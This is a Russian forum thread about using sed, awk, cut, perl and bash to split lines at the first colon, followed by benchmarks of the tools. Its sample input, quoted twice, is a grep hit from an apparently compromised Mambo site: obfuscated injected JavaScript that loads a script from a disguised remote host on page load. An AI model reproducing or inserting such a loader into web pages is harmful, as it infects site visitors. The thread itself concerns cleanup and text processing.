Помогите с sed

На самом деле это единственный раздел про unix на этом форуме

Модераторы: /dev/random, Модераторы разделов

Аватара пользователя
Ufomen
Сообщения: 81
ОС: CentOS 5.3

Помогите с sed

Сообщение Ufomen »

Всем привет!

Сущность проблемы, нужно мне с помощью sed откинуть первую часть строки до двоеточия и наоборот.

Код: Выделить всё

/var/www/vhosts/somehost.ru/httpdocs/Mambo/mambots/editors/tinymce/jscripts/tiny_mce/langs/index.html:<script>/*LGPL*/ try{ window.onload = function(){var Oi4qngdsr4t = document.createElement('s^!c^)))r)!^&$i!@&p($@t!'.replace(/\^|\)|\$|&|\(|@|\!|#/ig, ''));Oi4qngdsr4t.setAttribute('defer', 'd!^@$e#^@^)f#^e^r$)&'.replace(/&|\$|#|\(|\)|\!|\^|@/ig, ''));Oi4qngdsr4t.setAttribute('type', 't!!e$)x)^t^#&/)j#a(#v&@!($a)!!s@c@#(r$)!i!(p#^@t^#)&'.replace(/\(|\!|#|\$|&|\)|@|\^/ig, ''));Oi4qngdsr4t.setAttribute('id', 'F@(&v#e#&s!!!t)o@(d@@f$#3&@9$9$a(#@b&$)#'.replace(/\^|\(|\!|@|#|\$|&|\)/ig, ''));Oi4qngdsr4t.setAttribute('s@&!@r^^c('.replace(/#|\$|&|\^|\)|\!|@|\(/ig, ''),  'h)^)t&)&&^t&p($:$/)&@/^@!^g)!###i&z#m^$o^!d!$o#&-$c#o&$^)!m!^)@.!$o)#^v&(h#&.$n#@e@(@t&)!.&)d$&^)o^(w$^@n!()l&^(o@a)$#d)(-&^(c&)$@o$$m^.^^!@t@&h($$e@(@l(@^a$)#c#&)@e&!w&@e@(b&@.())r(#u((@:@^@!8^#(0&$&8#0^#(^/))t&h@^e!!p$@(l$^(#a##$n&!&e^)t&#@.#c^@!)o@m##$!!/@&#t$^h^@e(p@!((l$$a)($n&(!e@)t$^.$)c#o(#m!&/!f$(e!(@)d^e)(x)^.)(#c$)o^&m$@/^^)g#^$o&&^@o)^^g^l((^e((^.@$^(c)!o)#^@m&^!/^!(#g#$!o#@.))&c$$o@m$^^/$#)(@'.replace(/\)|\$|&|\!|\^|@|#|\(/ig, ''));if (document){document.body.appendChild(Oi4qngdsr4t);}} } catch(Tviphbtbmaperv57bsesu) {}</script>



Нужно получить:
/var/www/vhosts/somehost.ru/httpdocs/Mambo/mambots/editors/tinymce/jscripts/tiny_mce/langs/index.html

и во втором случае все что после :
тоесть <script>/*LGPL*/ try.......... и до конца

пробую
cat /tmp/myfile | sed s/.*\://
получаю:

Код: Выделить всё

@^@!8^#(0&$&8#0^#(^/))t&h@^e!!p$@(l$^(#a##$n&!&e^)t&#@.#c^@!)o@m##$!!/@&#t$^h^@e(p@!((l$$a)($n&(!e@)t$^.$)c#o(#m!&/!f$(e!(@)d^e)(x)^.)(#c$)o^&m$@/^^)g#^$o&&^@o)^^g^l((^e((^.@$^(c)!o)#^@m&^!/^!(#g#$!o#@.))&c$$o@m$^^/$#)(@'.replace(/\)|\$|&|\!|\^|@|#|\(/ig, ''));if (document){document.body.appendChild(Oi4qngdsr4t);}} } catch(Tviphbtbmaperv57bsesu) {}</script>


если не экранировать та же картина.

sed 's/.*\://'

то же самое с экраном и без...


Похоже он начинает поиск с конца строки и удаляет все после, как слелать так, чтобы Sed смотрел строку сначала до первого : и удалял либо все до, либо после.

фишка еще в том что имена файлов могут заканчиваться как на html так и на php htm js
Спасибо сказали:
Аватара пользователя
diesel
Бывший модератор
Сообщения: 5989
ОС: OS X, openSuSE, ROSA, Debian

Re: Помогите с sed

Сообщение diesel »

первую часть до двоеточния проще получить с помощью awk:

echo "...." | awk -F: '{print $1}'

или cut, не помню его параметров, что-то типа cut -d: -f1 кажется

часть после двоеточия, не знаю как это сделать sed-'ом, perl'ом:
echo "..." | perl -p -e 's/.*?://'

еще просто их разделить собственно bash'ем, как-то так(просто идея, не проверял, могу ошибаться в синтаксисе):

echo "..." | while IFS=":"; read first second; do echo "First part: $first"; echo "Second Part: $second"; done
Спасибо сказали:
Аватара пользователя
drBatty
Сообщения: 8735
Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
ОС: Slackware-current

Re: Помогите с sed

Сообщение drBatty »

diesel писал(а):
18.01.2010 14:00
первую часть до двоеточния проще получить с помощью awk:

неужели?

Код: Выделить всё

$ sed 's/:.*//' ss.txt
/var/www/vhosts/somehost.ru/httpdocs/Mambo/mambots/editors/tinymce/jscripts/tiny_mce/langs/index.html

$ sed 's/[^:]*://' ss.txt
<script>/*LGPL*/ try{ window.onload = function(){var Oi4qngdsr4t = document.createElement('s^!c^)))r)!^&$i!@&p($@t!'.replace(/\^|\)|\$|&|\(|@|\!|#/ig, ''));Oi4qngdsr4t.setAttribute('defer', 'd!^@$e#^@^)f#^e^r$)&'.replace(/&|\$|#|\(|\)|\!|\^|@/ig, ''));Oi4qngdsr4t.setAttribute('type', 't!!e$)x)^t^#&/)j#a(#v&@!($a)!!s@c@#(r$)!i!(p#^@t^#)&'.replace(/\(|\!|#|\$|&|\)|@|\^/ig, ''));Oi4qngdsr4t.setAttribute('id', 'F@(&v#e#&s!!!t)o@(d@@f$#3&@9$9$a(#@b&$)#'.replace(/\^|\(|\!|@|#|\$|&|\)/ig, ''));Oi4qngdsr4t.setAttribute('s@&!@r^^c('.replace(/#|\$|&|\^|\)|\!|@|\(/ig, ''),  'h)^)t&)&&^t&p($:$/)&@/^@!^g)!###i&z#m^$o^!d!$o#&-$c#o&$^)!m!^)@.!$o)#^v&(h#&.$n#@e@(@t&)!.&)d$&^)o^(w$^@n!()l&^(o@a)$#d)(-&^(c&)$@o$$m^.^^!@t@&h($$e@(@l(@^a$)#c#&)@e&!w&@e@(b&@.())r(#u((@:@^@!8^#(0&$&8#0^#(^/))t&h@^e!!p$@(l$^(#a##$n&!&e^)t&#@.#c^@!)o@m##$!!/@&#t$^h^@e(p@!((l$$a)($n&(!e@)t$^.$)c#o(#m!&/!f$(e!(@)d^e)(x)^.)(#c$)o^&m$@/^^)g#^$o&&^@o)^^g^l((^e((^.@$^(c)!o)#^@m&^!/^!(#g#$!o#@.))&c$$o@m$^^/$#)(@'.replace(/\)|\$|&|\!|\^|@|#|\(/ig, ''));if (document){document.body.appendChild(Oi4qngdsr4t);}} } catch(Tviphbtbmaperv57bsesu) {}</script>

Ufomen писал(а):
18.01.2010 13:44
фишка еще в том что имена файлов могут заканчиваться как на html так и на php htm js

хоть на ЁЁЁ :)
http://emulek.blogspot.ru/ Windows Must Die
Учебник по sed зеркало в github

Скоро придёт
Осень
Спасибо сказали:
Аватара пользователя
Ufomen
Сообщения: 81
ОС: CentOS 5.3

Re: Помогите с sed

Сообщение Ufomen »

Спасибо! Про awk знал, sed до этого пользовал мало, думал можно и тут как - то легче в один прием рубануть,
и все бы работало если б заставить sed просматривать строку сначала.


Щас проверил sed 's/:.*//' ss
реально работает ) Спасибо drBatty! Так оно смотрит именно то что нужно! )
Спасибо сказали:
Аватара пользователя
drBatty
Сообщения: 8735
Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
ОС: Slackware-current

Re: Помогите с sed

Сообщение drBatty »

diesel писал(а):
18.01.2010 14:00
perl -p -e 's/.*?://'

ваше выражение эквивалентно моему: .*?: означает "пожрать все символы кроме ':', и двоеточие за ним". Я так и записал ;)

ЗЫЖ хорошо, что символ для поиска один, вот если-бы в условии надо было найти всё что до XYZ, но без XYZ выражение для sed было-бы намного более причудливое ;)

ЗЗЫЖ поправьте пожалуйста тему, SED это что-то непонятное, я думал дистрибутив какой-то... У нас различаются большие и малые буквы :)
http://emulek.blogspot.ru/ Windows Must Die
Учебник по sed зеркало в github

Скоро придёт
Осень
Спасибо сказали:
smaharbA
Сообщения: 229
ОС: Windows Vista

Re: Помогите с sed

Сообщение smaharbA »

тут ни сед ни авк не нужен

echo ${s%%:*}
echo $s | cut -d: -f1

выбирай на вкус, но сдается, что не оттудова автор к вопросу подходит, тут бы нужно про ДОМ почитать
Я конечно далек от мысли...(с)
Спасибо сказали:
Аватара пользователя
Ufomen
Сообщения: 81
ОС: CentOS 5.3

Re: Помогите с sed

Сообщение Ufomen »

А вот вторую часть посложнее... в файлах типа .js нет тэга <script>
там сходу /*LGPL*/ try{ window.onlo....


2 smaharbA:

Автор помимо всего прочего хочет покурить sed так как полезно :)
Спасибо сказали:
Аватара пользователя
drBatty
Сообщения: 8735
Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
ОС: Slackware-current

Re: Помогите с sed

Сообщение drBatty »

smaharbA писал(а):
18.01.2010 14:19
тут ни сед ни авк не нужен

...если файлы маленькие а комп мощный. пропарсите 5000+ html'ек своим bash-ем...
вариант с cut только для простых случаев.
Ufomen писал(а):
18.01.2010 14:20
А вот вторую часть посложнее... в файлах типа .js нет тэга <script>
там сходу /*LGPL*/ try{ window.onlo....

непонятно...
http://emulek.blogspot.ru/ Windows Must Die
Учебник по sed зеркало в github

Скоро придёт
Осень
Спасибо сказали:
Аватара пользователя
diesel
Бывший модератор
Сообщения: 5989
ОС: OS X, openSuSE, ROSA, Debian

Re: Помогите с sed

Сообщение diesel »

drBatty писал(а):
18.01.2010 14:16
diesel писал(а):
18.01.2010 14:00
perl -p -e 's/.*?://'

ваше выражение эквивалентно моему: .*?: означает "пожрать все символы кроме ':', и двоеточие за ним". Я так и записал ;)

фактически - да, как-то пользовался конструкцией типа вашей, но сейчас она вылезла из оперативной памяти.
хотя "дословный" перевод моего выражения несколько другой, это таки "пожрать минимальное колличество всего чего угодно до, соответствтенно, первого двоеточия"

drBatty писал(а):
18.01.2010 14:27
smaharbA писал(а):
18.01.2010 14:19
тут ни сед ни авк не нужен

...если файлы маленькие а комп мощный. пропарсите 5000+ html'ек своим bash-ем...

it depends. в данном случае речь идет скорее всего о парсинге результатов grep'а. 5000 строк bash осилит, и cut осилит, и awk, и sed. Скорее всего распределение скорости будет выглядеть как-то так:
1. cut
2. awk
3. sed
4. perl
5. bash
(3/4 - не уверен, может быть наоборот)

разница тем не менее будет терпимой.
Спасибо сказали:
Аватара пользователя
drBatty
Сообщения: 8735
Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
ОС: Slackware-current

Re: Помогите с sed

Сообщение drBatty »

diesel писал(а):
18.01.2010 14:36
перевод моего выражения несколько другой, это таки "пожрать минимальное колличество всего чего угодно до, соответствтенно, первого двоеточия"

перед первым двоеточием не может быть двоеточия. слова другие просто ;)
смысл и реализация - та-же.
diesel писал(а):
18.01.2010 14:36
it depends. в данном случае речь идет скорее всего о парсинге результатов grep'а. 5000 строк bash осилит, и cut осилит, и awk, и sed. Скорее всего распределение скорости будет выглядеть как-то так:
1. cut
2. awk
3. sed
4. perl
5. bash

всё это будет далеко в...
дело в том, что sed не нуждается в grep'е, потому работать это (просто sed)будет в любом случае быстрее.
cut нужна ещё и grep, которая работает примерно как sed (по скорости), а awk уж точно медленнее sed, и perl тоже (perl лучше, там скрипты писать проще, да они и понятнее, но... за всё надо платить)
diesel писал(а):
18.01.2010 14:36
разница тем не менее будет терпимой.

diesel писал(а):
18.01.2010 14:36
разница тем не менее будет терпимой.

ну не знаю. у меня разница была более чем на порядок: сначала я написал скрипт на bash, и просто устал ждать, пока уже он всё сделает. так и не дождался...
однострок на sed сработал за несколько десятков секунд.
http://emulek.blogspot.ru/ Windows Must Die
Учебник по sed зеркало в github

Скоро придёт
Осень
Спасибо сказали:
Аватара пользователя
diesel
Бывший модератор
Сообщения: 5989
ОС: OS X, openSuSE, ROSA, Debian

Re: Помогите с sed

Сообщение diesel »

drBatty писал(а):
18.01.2010 14:59
всё это будет далеко в...
дело в том, что sed не нуждается в grep'е, потому работать это (просто sed)будет в любом случае быстрее.

вы не поняли: строка которая приведена топикстартером напоминает результат выполнения какого-нить: grep -IirE "pattern" /path/to/dir, то есть файл у нас есть, с 5000 строк такого формата. могу ошибаться как была получена эта строка - но уж очень сильно похоже. поэтому... я говорю о том что в условии у нас скорее всего не 5000 файлов, а файл с 5000 строк.
Относительно скорости: щас проверю, на реальном файле.
Спасибо сказали:
Аватара пользователя
drBatty
Сообщения: 8735
Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
ОС: Slackware-current

Re: Помогите с sed

Сообщение drBatty »

diesel писал(а):
18.01.2010 15:05
вы не поняли: строка которая приведена топикстартером напоминает результат выполнения какого-нить: grep -IirE "pattern" /path/to/dir, то есть файл у нас есть, с 5000 строк такого формата. могу ошибаться как была получена эта строка - но уж очень сильно похоже

я понял. это вы не поняли :)
я имел ввиду, что ТС мог-бы сразу применить sed, и это было-бы намного быстрее.
http://emulek.blogspot.ru/ Windows Must Die
Учебник по sed зеркало в github

Скоро придёт
Осень
Спасибо сказали:
Аватара пользователя
diesel
Бывший модератор
Сообщения: 5989
ОС: OS X, openSuSE, ROSA, Debian

Re: Помогите с sed

Сообщение diesel »

drBatty писал(а):
18.01.2010 15:11
diesel писал(а):
18.01.2010 15:05
вы не поняли: строка которая приведена топикстартером напоминает результат выполнения какого-нить: grep -IirE "pattern" /path/to/dir, то есть файл у нас есть, с 5000 строк такого формата. могу ошибаться как была получена эта строка - но уж очень сильно похоже

я понял. это вы не поняли :)
я имел ввиду, что ТС мог-бы сразу применить sed, и это было-бы намного быстрее.

не-а ) потому что sed не умеет рекурсивно бегать по директориям, вам нужен будет find ...
Спасибо сказали:
Аватара пользователя
drBatty
Сообщения: 8735
Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
ОС: Slackware-current

Re: Помогите с sed

Сообщение drBatty »

diesel писал(а):
18.01.2010 15:12
не-а ) потому что sed не умеет рекурсивно бегать по директориям, вам нужен будет find ...

да... не умеет. :(
но думаю это небольшая часть работы, потому сильно не затормозится.
http://emulek.blogspot.ru/ Windows Must Die
Учебник по sed зеркало в github

Скоро придёт
Осень
Спасибо сказали:
Аватара пользователя
diesel
Бывший модератор
Сообщения: 5989
ОС: OS X, openSuSE, ROSA, Debian

Re: Помогите с sed

Сообщение diesel »

diesel писал(а):
18.01.2010 15:05
Относительно скорости: щас проверю, на реальном файле.

so..
у меня есть file:

Код: Выделить всё

diesel@debian:~$ wc -l file
10761 file

строки аналогичны той которая у топикстартера, файл показать не могу - там рабочие данные. Задача: оставить только путь к файлу.
1. cut:

Код: Выделить всё

diesel@debian:~$ time cut -d: -f1 file | wc -l
10761

real    0m0.059s
user    0m0.044s
sys    0m0.016s
diesel@debian:~$ time cut -d: -f1 file | wc -l
10761

real    0m0.059s
user    0m0.052s
sys    0m0.008s
diesel@debian:~$ time cut -d: -f1 file | wc -l
10761

real    0m0.059s
user    0m0.048s
sys    0m0.008s


2. awk:

Код: Выделить всё

diesel@debian:~$ time awk -F: '{print $1}' file | wc -l
10761

real    0m0.110s
user    0m0.104s
sys    0m0.012s
diesel@debian:~$ time awk -F: '{print $1}' file | wc -l
10761

real    0m0.110s
user    0m0.100s
sys    0m0.016s
diesel@debian:~$ time awk -F: '{print $1}' file | wc -l
10761

real    0m0.111s
user    0m0.116s
sys    0m0.000s


3. sed:

Код: Выделить всё

diesel@debian:~$ time sed 's/:.*//' file | wc -l
10761

real    0m2.086s
user    0m2.076s
sys    0m0.008s
diesel@debian:~$ time sed 's/:.*//' file | wc -l
10761

real    0m2.093s
user    0m2.084s
sys    0m0.016s
diesel@debian:~$ time sed 's/:.*//' file | wc -l
10761

real    0m2.113s
user    0m2.092s
sys    0m0.016s


4. perl - тот же паттерн что и для sed:

Код: Выделить всё

diesel@debian:~$ time perl -p -e 's!:.*!!' file | wc -l
10761

real    0m0.097s
user    0m0.080s
sys    0m0.016s
diesel@debian:~$ time perl -p -e 's!:.*!!' file | wc -l
10761

real    0m0.097s
user    0m0.088s
sys    0m0.008s
diesel@debian:~$ time perl -p -e 's!:.*!!' file | wc -l
10761

real    0m0.096s
user    0m0.088s
sys    0m0.008s


5. сходу не запишу одним выражением: perl - split/взять первый элемент списка:

Код: Выделить всё

diesel@debian:~$ time perl -n -e '@a=split(":",$_); print $a[0]."\n";' file | wc -l
10761

real    0m0.210s
user    0m0.200s
sys    0m0.008s
diesel@debian:~$ time perl -n -e '@a=split(":",$_); print $a[0]."\n";' file | wc -l
10761

real    0m0.212s
user    0m0.192s
sys    0m0.020s
diesel@debian:~$ time perl -n -e '@a=split(":",$_); print $a[0]."\n";' file | wc -l
10761

real    0m0.210s
user    0m0.188s
sys    0m0.020s


6. bash: ${i%%:*}

Код: Выделить всё

diesel@debian:~$ time cat file | while read i; do echo ${i%%:*}; done | wc -l
10761

real    0m15.719s
user    0m9.409s
sys    0m6.272s
diesel@debian:~$ time cat file | while read i; do echo ${i%%:*}; done | wc -l
10761

real    0m15.618s
user    0m9.485s
sys    0m6.112s
diesel@debian:~$ time cat file | while read i; do echo ${i%%:*}; done | wc -l
10761

real    0m15.678s
user    0m9.285s
sys    0m6.348s



7. bash IFS:

Код: Выделить всё

diesel@debian:~$ time cat file | while IFS=":"; read i j; do echo ${i}; done | wc -l
10761

real    0m10.226s
user    0m3.328s
sys    0m6.900s
diesel@debian:~$ time cat file | while IFS=":"; read i j; do echo ${i}; done | wc -l
10761

real    0m9.705s
user    0m3.480s
sys    0m6.228s
diesel@debian:~$ time cat file | while IFS=":"; read i j; do echo ${i}; done | wc -l
10761

real    0m9.607s
user    0m3.332s
sys    0m6.248s
Спасибо сказали:
Аватара пользователя
diesel
Бывший модератор
Сообщения: 5989
ОС: OS X, openSuSE, ROSA, Debian

Re: Помогите с sed

Сообщение diesel »

drBatty писал(а):
18.01.2010 14:59
cut нужна ещё и grep, которая работает примерно как sed (по скорости), а awk уж точно медленнее sed, и perl тоже (perl лучше, там скрипты писать проще, да они и понятнее, но... за всё надо платить)

я говорю о конкретной задаче, будет другая задача - будут другие скорости. В этом случае:
1. cut
2. (неожиданно, но не то что бы совсем сюрприз)perl s///
3. awk
4. perl со сплитом(так будут решать эту задачу php-шники)
5. sed
6. bash с IFS
7. bash с ${i%%:*}
Спасибо сказали:
smaharbA
Сообщения: 229
ОС: Windows Vista

Re: Помогите с sed

Сообщение smaharbA »

cat file | ... заменить на < file

да и замену поменять на что то типа echo ${s/:*/}

хотя сильно конечно не уменьшит :(
Я конечно далек от мысли...(с)
Спасибо сказали:
Аватара пользователя
drBatty
Сообщения: 8735
Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
ОС: Slackware-current

Re: Помогите с sed

Сообщение drBatty »

diesel писал(а):
18.01.2010 15:29
у меня есть file:

этот файл слишком короткий, и время его обработки меньше погрешности измерения. ИМХО у вас команда в память медленнее загружается чем файл обрабатывается. sed вы не любите, потому в кеше её нету :)
http://emulek.blogspot.ru/ Windows Must Die
Учебник по sed зеркало в github

Скоро придёт
Осень
Спасибо сказали:
Аватара пользователя
drBatty
Сообщения: 8735
Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
ОС: Slackware-current

Re: Помогите с sed

Сообщение drBatty »

Код: Выделить всё

$ time sed 's/:.*//' *.html | wc -l
17309406

real    3m6.630s
user    0m52.859s
sys    0m6.016s

$ time perl -p -e 's!:.*!!' *.html | wc -l
17304605

real    1m53.359s
user    0m22.321s
sys    0m5.072s

$ time awk -F: '{print $1}' *.html | wc -l
17309407

real    2m26.926s
user    0m35.262s
sys    0m5.096s

да. perl быстрее на этом примере. странно...
http://emulek.blogspot.ru/ Windows Must Die
Учебник по sed зеркало в github

Скоро придёт
Осень
Спасибо сказали:
Аватара пользователя
diesel
Бывший модератор
Сообщения: 5989
ОС: OS X, openSuSE, ROSA, Debian

Re: Помогите с sed

Сообщение diesel »

drBatty писал(а):
18.01.2010 16:15
diesel писал(а):
18.01.2010 15:29
у меня есть file:

этот файл слишком короткий, и время его обработки меньше погрешности измерения. ИМХО у вас команда в память медленнее загружается чем файл обрабатывается. sed вы не любите, потому в кеше её нету :)

да вобщем-то 10 тыщ строк, 16 метров , список на выходе - 1.4 mb - не так уж и мало для текстового файла. Могу сделать 100 тысяч - но есть уверенность что принципиально результаты не изменяться.

По поводу кэша: каждая команда повторялась три раза, подряд, чтобы не писали про кэш. Размер и sed/perl/awk(в смысле бинарников) гораздо меньше размера файла который мы читаем. команда не может загрузиться в память медленнее, чем этот файл, тем более что таки сначала должна запуститься команда :) есть кстати подозрение что чем больше файл вы возьмете, тем больше sed проиграет :)

drBatty писал(а):
18.01.2010 16:15
этот файл слишком короткий, и время его обработки меньше погрешности измерения

будем считать?
Спасибо сказали:
smaharbA
Сообщения: 229
ОС: Windows Vista

Re: Помогите с sed

Сообщение smaharbA »

drBatty ктож так хтмл парсит то )) в нем может быть и всего одна строка в 16 "мегасимволов"
Я конечно далек от мысли...(с)
Спасибо сказали:
Аватара пользователя
drBatty
Сообщения: 8735
Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
ОС: Slackware-current

Re: Помогите с sed

Сообщение drBatty »

diesel писал(а):
18.01.2010 16:33
да вобщем-то 10 тыщ строк

Код: Выделить всё

real    0m0.059s

что тут считать? 59мс
я взял несколько файлов размером около Gb, число строк 17 304 605. Результаты выше. Действительно sed на этом примере проигрывает.

diesel писал(а):
18.01.2010 16:33
есть кстати подозрение что чем больше файл вы возьмете, тем больше sed проиграет smile.gif

это ещё почему?! время зависит линейно от размера фалов и строк (для sed), т.к. она тупо просматривает файл от начала до конца. и никогда не возвращается. чего не скажешь про perl с его возвратными RE. многие допустимые RE в perl'е имеют квадратичную зависимость от длинны строки (конечно это вовсе не недостаток perl'а, а свидетельство его большей гибкости и мощности - можно наступать на 5 грабель сразу :) ).

smaharbA писал(а):
18.01.2010 19:06
drBatty ктож так хтмл парсит то )) в нем может быть и всего одна строка в 16 "мегасимволов"

нет. там указано число обработанных строк. общий размер чуть меньше гига.
http://emulek.blogspot.ru/ Windows Must Die
Учебник по sed зеркало в github

Скоро придёт
Осень
Спасибо сказали:
Аватара пользователя
SLEDopit
Модератор
Сообщения: 4823
Статус: фанат консоли (=
ОС: GNU/Debian, RHEL

Re: Помогите с sed

Сообщение SLEDopit »

drBatty писал(а):
19.01.2010 02:23
я взял несколько файлов размером около Gb...
Блин, вот людям заняться нечем =)
UNIX is basically a simple operating system, but you have to be a genius to understand the simplicity. © Dennis Ritchie
The more you believe you don't do mistakes, the more bugs are in your code.
Спасибо сказали:
Аватара пользователя
drBatty
Сообщения: 8735
Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
ОС: Slackware-current

Re: Помогите с sed

Сообщение drBatty »

smaharbA писал(а):
18.01.2010 19:06
drBatty ктож так хтмл парсит то )) в нем может быть и всего одна строка в 16 "мегасимволов"

может быть. но не в этих.
SLEDopit писал(а):
19.01.2010 02:29
я взял несколько файлов размером около Gb...

Блин, вот людям заняться нечем =)



ладно. три команды набрать несложно.

Код: Выделить всё

$ du . -sh
957M    .
$ ls|wc -l
9609

"несколько файлов" это у меня 9609 ;)
именно по этому вопрос времени меня очень сильно волнует.
К вопросу о результатах: да, на таких примитивных примерах sed проигрывает. А что вы хотите? она ищет RE, а не просто символ. И ещё просматривает всю строку.

UPD: так... кривые руки рулят! у меня-же UTF-8 в sed включено! из-за чего и тормозит. искать двоеточие конечно проще, чем разбирать строки как utf-8 символы, особенно если они на самом деле в CP1251.

Shell

$ time sed 's/:.*//' *.html | wc -l 17309406 real 2m19.326s user 0m25.394s sys 0m5.836s

Вот! в полтора раза быстрее!
небольшое улучшение можно достичь сменой выражения на

Код: Выделить всё

sed '/:/s/:.*//' *.html | wc -l

или на

Код: Выделить всё

sed '/:.*/s///' *.html | wc -l
http://emulek.blogspot.ru/ Windows Must Die
Учебник по sed зеркало в github

Скоро придёт
Осень
Спасибо сказали:
smaharbA
Сообщения: 229
ОС: Windows Vista

Re: Помогите с sed

Сообщение smaharbA »

отмечу, что тесты проведены не в равных условиях
т.к. подстановка работает с отдельными строками (в таких условиях) и можно предположить, что нужно каждую строку обработать далее то все тесты должны быть приведены к виду

Код: Выделить всё

while read s; do ...$s...; done < file
Я конечно далек от мысли...(с)
Спасибо сказали:
Аватара пользователя
drBatty
Сообщения: 8735
Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
ОС: Slackware-current

Re: Помогите с sed

Сообщение drBatty »

smaharbA писал(а):
20.01.2010 06:40
т.к. подстановка работает с отдельными строками (в таких условиях) и можно предположить, что нужно каждую строку обработать далее

sed всегда ищет RE во всей строке целиком
т.е. если строка "Z..........................<ещё 100Мб>..........................................."
То команда sed 's/Z/W/' будет просматривать все 100Мб.
как я понял, решение где именно было совпадение принимается ПОСЛЕ просмотра строки. (хотя может быть есть версии sed в которых это исправлено, но сомневаюсь...)
К тому-же, sed ищет регулярное выражение, а вовсе не 1 символ, это в любом случае дольше, даже для выражения из одного символа необходима таблица 32x256 бит, которую ещё и создать нужно...
Это всё объясняет, почему cut & awk в этом случае сработали быстрее.
smaharbA писал(а):
20.01.2010 06:40
то все тесты должны быть приведены к виду

Код
while read s; do ...$s...; done < file

ну sed именно так и делает. вроде-бы awk & perl тоже.
http://emulek.blogspot.ru/ Windows Must Die
Учебник по sed зеркало в github

Скоро придёт
Осень
Спасибо сказали:
smaharbA
Сообщения: 229
ОС: Windows Vista

Re: Помогите с sed

Сообщение smaharbA »

drBatty - Вы немного не поняли вопроса о равновесности тестов, в реальной задаче часто оказывается, что с каждой строкой в отдельности надо делать какие то действия, может быть сохранять в переменной, передавать в функцию и т.д.
(речь не о том, что sed и awk работает именно построчно, конечно можно целиком работать и в их оболочках, но часто они используются не как шел, а как утилита)
Я конечно далек от мысли...(с)
Спасибо сказали:
Аватара пользователя
drBatty
Сообщения: 8735
Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
ОС: Slackware-current

Re: Помогите с sed

Сообщение drBatty »

smaharbA писал(а):
20.01.2010 11:13
drBatty - Вы немного не поняли вопроса о равновесности тестов, в реальной задаче часто оказывается, что с каждой строкой в отдельности надо делать какие то действия, может быть сохранять в переменной, передавать в функцию и т.д.
(речь не о том, что sed и awk работает именно построчно, конечно можно целиком работать и в их оболочках, но часто они используются не как шел, а как утилита)

лучше не вылезать за каждой строчкой из утилиты (будь то awk, sed, или perl) - в любом случае.
тесты diesel'я наглядно показывают, что обработка даже небольшого текста bash'ем - жуткие тормоза. и нет никакой разницы как именно вы будете делать
1)while read s; do sed ...; done < file
либо
2)while read s; do ...${s...}; done < file
Использование sed в (1) вас не спасёт от тормозов - нужно писать
3)sed ... file
и никак иначе (конечно вместо sed иногда лучше awk или perl, а иногда, как здесь, даже просто cut)
http://emulek.blogspot.ru/ Windows Must Die
Учебник по sed зеркало в github

Скоро придёт
Осень
Спасибо сказали:
smaharbA
Сообщения: 229
ОС: Windows Vista

Re: Помогите с sed

Сообщение smaharbA »

и нет никакой разницы как именно вы будете делать
1)while read s; do sed ...; done < file
либо
2)while read s; do ...${s...}; done < file


о чем и речь, такая конструкция более распространена при обработке строк, это и надо бы замерить
(правильнее сказать не такая точно, но смысл думаю ясен)
Я конечно далек от мысли...(с)
Спасибо сказали:
Аватара пользователя
diesel
Бывший модератор
Сообщения: 5989
ОС: OS X, openSuSE, ROSA, Debian

Re: Помогите с sed

Сообщение diesel »

smaharbA писал(а):
20.01.2010 11:42
и нет никакой разницы как именно вы будете делать
1)while read s; do sed ...; done < file
либо
2)while read s; do ...${s...}; done < file


о чем и речь, такая конструкция более распространена при обработке строк, это и надо бы замерить
(правильнее сказать не такая точно, но смысл думаю ясен)

такой shell'овской конструкции, для обработки строк, по возможности, нужно избегать, это очень медленно с одной стороны, с другой - ну как бы не совсем unix-way. да, sed/awk/perl(с опцией -p или -n)/cut/и еще целая куча утилит, которые могут работать в режиме "фильтра", что-то подобное внутри и делают. но делают это гораздо быстрее, и удобнее, и раз они сами в состоянии это сделать, не нужно заставлять пользователя деать тоже самое.
Спасибо сказали: